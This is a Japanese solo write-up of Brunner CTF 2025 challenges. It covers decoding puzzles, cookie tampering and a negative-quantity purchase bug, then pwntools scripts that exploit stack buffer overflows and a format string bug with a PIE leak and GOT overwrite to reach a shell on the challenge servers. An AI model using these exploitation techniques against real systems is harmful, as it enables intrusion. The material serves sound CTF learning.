Brunner CTF 2025 Writeup
Brunner CTF にソロで参加したので振り返り用の Writeup.
Shake & Bake という Beginner 用の問題集があったりステップアップ的な問題もあって学習に良い CTF だった
フラグ形式・禁止事項等 (抜粋)
- フラグ形式は以下の通り
brunner{something}
Sanity Check
- sanity check
Join the Discord
- Discord の announcement にフラグがあった
DoughBot
- bin ファイル (Windows SYSTEM.INI) が渡された
- cat で中身を表示すると boot flag というものに Base64 らしき文字列があったため, デコードするとフラグを獲得できた
Where Robots Cannot Search
- 名前の通り robots.txt を調べたところ flag.txt というエンドポイントが発見された
- アクセスするとフラグ獲得
The Great Mainframe Bake-Off
- 16 進数らしき暗号が渡される
- 問題文から ASCII より前の文字コードであることが考えられる
- python ではいろいろな文字コードがデフォルトで用意されているので, 与えられた文字列にいろいろなコードで試した
- ASCII に以前の文字コードについて調べたところ EBCDIC というコードでデコードした際にフラグが獲得できた
raw_ciph = "d0-85-97-89-83-85-d9-6d-85-a2-99-85-a5-85-d9-6d-95-81-97-89-a9-99-81-d4-6d-85-88-e3-6d-a2-c9-6d-a2-89-88-e3-6d-84-95-c1-6d-a2-85-94-81-99-c6-95-89-81-d4-6d-95-d6-6d-f0-f7-f9-f1-6d-85-88-e3-6d-95-c9-6d-84-85-a2-e4-6d-a2-81-e6-6d-c3-c9-c4-c3-c2-c5-c0-99-85-95-95-a4-99-82" data = bytes.fromhex(" ".join(raw_ciph.split("-"))) print(data.decode("cp500")[::-1])
Baker Brain
- python のコードが渡される
- 認証に関する情報がすべて記載されているため, 解読して送ったらフラグ獲得
from pwn import * host = $HOST port = 443 sh = remote(host, port, ssl=True) prompt = sh.recvuntil(">") print(prompt.decode()) username = "Br14n_th3_b3st_c4k3_b4k3r" payload = username.encode() sh.sendline(payload) prompt = sh.recvuntil(">") print(prompt.decode()) wordlist = ["red", "yromem"[::-1]] wordlist.append("berr"+wordlist[1][-1]) wordlist.append(wordlist[0][:2]+wordlist[1][:3]+wordlist[2][:3]) password = "-".join(wordlist) print(password) payload = password.encode() sh.sendline(payload) sh.interactive()
- pwntools の基礎的な使い方は 前回記事 参照のこと (ssl 通信は ssl オプションを True にすることで可能)
Cookie Jar
- Web サイトにアクセスするとクッキーのレシピが紹介されており, 一つだけ解放されていないレシピがあった
- Cookie を確認すると isPremium という値があったため, true に設定して再度アクセスするとフラグが表示された
TheBakingCase
- 暗号文が渡される
- ステガノグラフィー問題で, 文中に大文字小文字が不自然に紛れているため, 大文字を 1, 小文字を 0 としたうえで 8 ビット区切りで ASCII 文字にしてみたところ, フラグを獲得できた
import string cipher_raw = "i UseD to coDE liKe A sLEEp-dEprIVed SqUirRel smasHInG keYs HOPinG BugS would dISApPear THrOugh fEAr tHeN i sPilled cOFfeE On mY LaPTop sCReameD iNTerNALly And bakeD BanaNa bREAd oUt oF PAnIc TuRNs OUT doUGh IS EasIEr tO dEbUG ThaN jaVASCrIPt Now I whIsPeR SWEEt NOtHIngs TO sOurDoUGh StARtERs aNd ThReATEN CrOissaNts IF they DoN'T rIsE My OVeN haS fEWeR CRasHEs tHAN mY oLD DEV sErvER aNd WHeN THInGS BurN i jUSt cAlL iT cARAMElIzEd FeatUReS no moRE meetInGS ThAt coUlD HAVE bEeN emailS JUst MufFInS THAt COulD HAvE BEen CupCAkes i OnCE tRIeD tO GiT PuSh MY cInnAmON rOLLs aND paNICkED WHEn I coUldn't reVErt ThEm NOw i liVe IN PeaCE uNLESs tHe yEast getS IDeas abOVe iTs StATion oR a COOkiE TrIES To sEgfAult my toOTH FILlings" cipher = "" for i in range(len(cipher_raw)): if cipher_raw[i] in string.ascii_letters: cipher += cipher_raw[i] flag = "" for i in range(len(cipher)//8): tmp_bit = 0 for j in range(8): if cipher[i*8+j].islower(): continue else: tmp_bit += 2**(7-j) flag += chr(tmp_bit) print(flag)
Online Cake Flavour Shop
- オンラインショップのプログラム
- フラグアイテムを購入時に所持金がフラグアイテムの価格より多ければよいらしい
- アイテム購入時に個数を指定可能であり, なおかつマイナスのチェックがなかったため, フラグアイテムを購入時に -1 を指定してあげることで逆にお金をもらうことができた (フラグ獲得)
Whisk
- 暗号文が渡される
- 最終行がおそらくフラグになっている
- フラグフォーマットと見比べた際に最終行の冒頭
OZ🥖SS🥐Zはbrunnerをそれぞれ置換したものであると考えられるため, 問題文に出てくる単語 (ingredient, secret) など考慮しつつ置換する辞書を作成してみるとうまく解読できた
import string with open("whisk.txt", "r") as f: cipher = f.read() emojis = ['🥐','🧁','🍰','🍩','🥖'] out_dict = { "O": "b", "Z": "r", "🥖": "u", "S": "n", "🥐": "e", "D": "t", "R": "h", "H": "m", "C": "s", "T": "c", "🍰": "a", "A": "d", "F": "y", "🍩": "o", "🧁": "i", "X": "g", "K": "l", "E": "w", "Q": "k", "Y": "p", "P": "f", "M": "v" } deced = "" for i in range(len(cipher)): if cipher[i] not in emojis and cipher[i] not in string.ascii_letters: deced += cipher[i] elif cipher[i] in out_dict.keys(): deced += out_dict[cipher[i]] else: deced += "@" print(deced)
Dat Overflow Dough
- バイナリファイル, c ファイルなどもろもろ渡される
secret_dough_recipeという関数を起動させればクリアらしいgetsが制限なしで用いられており, リターンアドレスの書き換えができた
from pwn import * host = "dat-overflow-dough-2a8356278fa04f88.challs.brunnerne.xyz" port = 443 #sh = process("recipe") sh = remote(host, port, ssl=True) prompt = sh.recvuntil("retrieve:") print(prompt.decode()) payload = "a".encode() * 24 # padding payload += p64(0x4011b6) sh.sendline(payload) sh.interactive()
Rolling Pin
- Ghidra で逆コンパイルすると, 入力した文字に
rotlという関数を掛けたものを, baked というラベルに保存されたバイト列と比較していた - 0xff 以上の部分を切り捨てるように気を付けながら python で書き下し, bruteforce 的に逆処理を行うことでフラグを解読できた
import string def rotl(x, k): return (x >> (8 - k & 0x1f) | x << (k & 0x1f)) & 0xff def rotl_bruteforce(k, baked_hex): for char in string.printable: if baked_hex == rotl(ord(char), k): return char baked_raw = "'b', E4h, D5h, 's',E6h, ACh, 9Ch, BDh,'r', '`', D1h, A1h,'G', 'f', D7h, ':','h', 'f', '}', '#',03h, AEh, D9h, '4','}'" baked_list = baked_raw.split(",") for i in range(len(baked_list)): baked_list[i] = baked_list[i].strip().strip("'") if baked_list[i][-1] == "h" and len(baked_list[i]) > 1: baked_list[i] = int(baked_list[i][:-1], 16) else: baked_list[i] = ord(baked_list[i]) flag = "" for i in range(0x19): flag += rotl_bruteforce(i & 7, baked_list[i]) print(flag)
- 本来は関数を読み解いて逆処理を書くべきかもしれなかった......
Othello Villains
- Dat Overflow Dough の次段階とされている
- objdump で中身を調べると win 関数が発見された
objdump -d othelloserver -M intel > dumped.txt
- pwntools のchecksec を行うと canary などは発見されず, PIE も無効 (アドレスをそのまま使うことができる)
pwn checksec othelloserver
- scanf で BOF 脆弱性がありそうなので, main 関数のリターンアドレスを書き換えると win 関数を起動でき, フラグを獲得できた
from pwn import * host = "othello-villains-87a2758ac1f78397.challs.brunnerne.xyz" port = 443 #sh = process("./othelloserver") sh = remote(host, port, ssl=True) prompt = sh.recvuntil("password??") print(prompt.decode()) payload = "a".encode() * 0x20 # padding payload += "b".encode() * 0x8 # rbp payload += p64(0x4012ae) sh.sendline(payload) sh.interactive()
- scanf 関数では
rbp-0x20に値が保存されていたため, rbp の次 (0x28 先) がリターンアドレスとなる
The Ingredient Shop
- 渡されたバイナリを Ghidra で逆コンパイルすると, 選択肢を選ぶ部分で printf がそのまま使われているのを見つけた (Format String 脆弱性)
- 問題文で示された通り
print_flagという関数を起動すれば sh が起動されてフラグを調べられそう - checksec で確認すると PIE, canary は有効 $\to$ アドレスが相対化されておりリークが必要, BOF が厳しい?
- partial RELRO $\to$ GOT Overwrite が可能かもしれない
- gdb+pwntools で
%pを複数送りつつアドレスを調べると, スタック上に 0x1351 に対応するアドレスが格納されるオフセットを発見 $\to$ アドレスリークはクリア - got の puts のアドレスを調べたうえで, 以下で Format String Attack をしたところシェルを起動できた
from pwn import * context.binary = "./shop" elf = ELF("./shop") puts_offset = elf.got['puts'] use_remote = True if use_remote == True: host = "the-ingredient-shop-87302104bae741f8.challs.brunnerne.xyz" port = 443 sh = remote(host, port, ssl=True) else: context.terminal = ["tmux", "splitw", "-h"] sh = process("./shop") gdb.attach(sh, gdbscript=""" break *get_input+128 c """) prompt = sh.recvuntil("exit") print(prompt.decode()) payload = "aaaaaaaa".encode() payload += " %43$p".encode() sh.sendline(payload) prompt = sh.recvuntil("choice") print(prompt.decode()) sh.recvline() recved = sh.recvline() print(recved) address_base = int(recved.decode().strip().split()[-1], 16) - 0x1351 print_flag = address_base + 0x1199 puts_address = address_base + puts_offset print("here is PIE base address:", hex(address_base)) prompt = sh.recvuntil("exit") print(prompt.decode()) """payload = "aaaa".encode() payload += " %p".encode() * 15""" payload = fmtstr_payload(8, {puts_address: print_flag}, numbwritten=0, write_size="byte") sh.sendline(payload) sh.interactive()
- format string attack については 前回記事 参照のこと